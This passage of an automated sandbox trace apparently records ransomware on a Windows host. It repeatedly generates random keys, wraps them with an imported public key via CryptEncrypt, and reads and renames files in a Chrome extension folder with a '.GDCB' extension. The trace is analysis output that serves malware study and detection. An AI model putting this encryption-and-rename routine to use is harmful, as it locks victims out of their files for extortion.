phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4760) returned 1 [0273.017] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x679a720) returned 1 [0273.017] CryptGetKeyParam (in: hKey=0x679a720, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0273.017] CryptEncrypt (in: hKey=0x679a720, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285d120*=0x100) returned 1 [0273.018] GetLastError () returned 0x0 [0273.018] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0273.018] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x424 [0273.019] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0273.021] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0273.024] ReadFile (in: hFile=0x424, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285d160*=0xa0, lpOverlapped=0x0) returned 1 [0273.032] VirtualAlloc (lpAddress=0x0, dwSize=0xa0, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0273.039] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button.png"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button.png.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button.png.gdcb")) returned 0 [0273.041] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0273.044] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0273.045] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0273.046] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0273.046] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0273.046] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0273.048] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0273.050] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0273.050] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0273.050] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0273.050] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4980) returned 1 [0273.053] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x679a760) returned 1 [0273.053] CryptGetKeyParam (in: hKey=0x679a760, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0273.053] CryptEncrypt (in: hKey=0x679a760, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0273.053] GetLastError () returned 0x0 [0273.053] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0273.053] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4760) returned 1 [0273.055] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x679a1a0) returned 1 [0273.055] CryptGetKeyParam (in: hKey=0x679a1a0, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0273.055] CryptEncrypt (in: hKey=0x679a1a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285d120*=0x100) returned 1 [0273.055] GetLastError () returned 0x0 [0273.055] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0273.055] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_close.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_close.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0273.055] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0273.058] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0273.060] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0273.060] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0273.060] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0273.060] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0273.063] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0273.065] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0273.065] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0273.065] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0273.065] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0273.067] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x679a7a0) returned 1 [0273.068] CryptGetKeyParam (in: hKey=0x679a7a0, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0273.068] CryptEncrypt (in: hKey=0x679a7a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd60000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0xcd60000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0273.068] GetLastError () returned 0x0 [0273.068] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0273.068] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4760) returned 1 [0273.070] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x679a460) returned 1 [0273.070] CryptGetKeyParam (in: hKey=0x679a460, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0273.070] CryptEncrypt (in: hKey=0x679a460, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd70000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0xcd70000*, pdwDataLen=0x285d120*=0x100) returned 1 [0273.070] GetLastError () returned 0x0 [0273.070] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0273.070] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_hover.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_hover.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0273.070] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0273.073] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0273.075] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0273.075] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0273.075] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0273.075] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4980) returned 1 [0273.077] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0273.080] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0273.080] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0273.080] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0273.080] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4980) returned 1 [0273.082] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x679a4e0) returned 1 [0273.082] CryptGetKeyParam (in: hKey=0x679a4e0, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0273.082] CryptEncrypt (in: hKey=0x679a4e0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd80000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0xcd80000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0273.083] GetLastError () returned 0x0 [0273.083] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0273.083] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0273.085] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x679a2a0) returned 1 [0273.085] CryptGetKeyParam (in: hKey=0x679a2a0, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0273.085] CryptEncrypt (in: hKey=0x679a2a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd90000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0xcd90000*, pdwDataLen=0x285d120*=0x100) returned 1 [0273.085] GetLastError () returned 0x0 [0273.085] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0273.085] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_maximize.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_maximize.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0273.086] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4980) returned 1 [0273.089] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0273.091] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0273.091] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0273.091] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0273.091] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0273.094] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0273.097] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0273.097] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0273.097] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0273.098] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4760) returned 1 [0273.100] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x679a360) returned 1 [0273.100] CryptGetKeyParam (in: hKey=0x679a360, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0273.100] CryptEncrypt (in: hKey=0x679a360, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcda0000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0xcda0000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0273.100] GetLastError () returned 0x0 [0273.100] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0273.100] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0273.102] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x679a820) returned 1 [0273.102] CryptGetKeyParam (in: hKey=0x679a820, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0273.102] CryptEncrypt (in: hKey=0x679a820, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcdb0000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0xcdb0000*, pdwDataLen=0x285d120*=0x100) returned 1 [0273.102] GetLastError () returned 0x0 [0273.102] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0273.102] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_pressed.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_pressed.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0273.115] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0273.118] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0273.120] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0273.120] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0273.120] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0273.120] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0273.123] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0273.125] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0273.125] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0273.125] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0273.125] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0273.128] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x679a520) returned 1 [0273.128] CryptGetKeyParam (in: hKey=0x679a520, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0273.128] CryptEncrypt (in: hKey=0x679a520, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcdc0000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcdc0000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0273.128] GetLastError () returned 0x0 [0273.128] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0273.128] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0273.130] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x679a8a0) returned 1 [0273.130] CryptGetKeyParam (in: hKey=0x679a8a0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0273.130] CryptEncrypt (in: hKey=0x679a8a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcdd0000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcdd0000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0273.130] GetLastError () returned 0x0 [0273.130] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0273.130] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\bg\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\bg\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0273.131] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcde0000 [0273.134] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcdf0000 [0273.136] ReadFile (in: hFile=0x470, lpBuffer=0xcdf0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcdf0000*, lpNumberOfBytesRead=0x285ced8*=0x376, lpOverlapped=0x0) returned 1 [0273.145] VirtualAlloc (lpAddress=0x0, dwSize=0x380, flAllocationType=0x3000, flProtect=0x4) returned 0xcf00000 [0273.150] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\bg\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\bg\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\bg\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\bg\\messages.json.gdcb")) returned 1 [0273.157] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0273.159] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0273.161] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0273.162] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0273.162] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0273.162] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0273.164] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0273.166] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0273.166] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0273.166] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0273.166] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0273.169] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x679a0e0) returned 1 [0273.169] CryptGetKeyParam (in: hKey=0x679a0e0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0273.169] CryptEncrypt (in: hKey=0x679a0e0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcdc0000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcdc0000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0273.169] GetLastError () returned 0x0 [0273.169] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0273.169] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0273.171] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x679a2e0) returned 1 [0273.171] CryptGetKeyParam (in: hKey=0x679a2e0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0273.171] CryptEncrypt (in: hKey=0x679a2e0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcdd0000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcdd0000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0273.171] GetLastError () returned 0x0 [0273.172] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0273.172] CreateFileW (lpFileName="C:\\Documents and 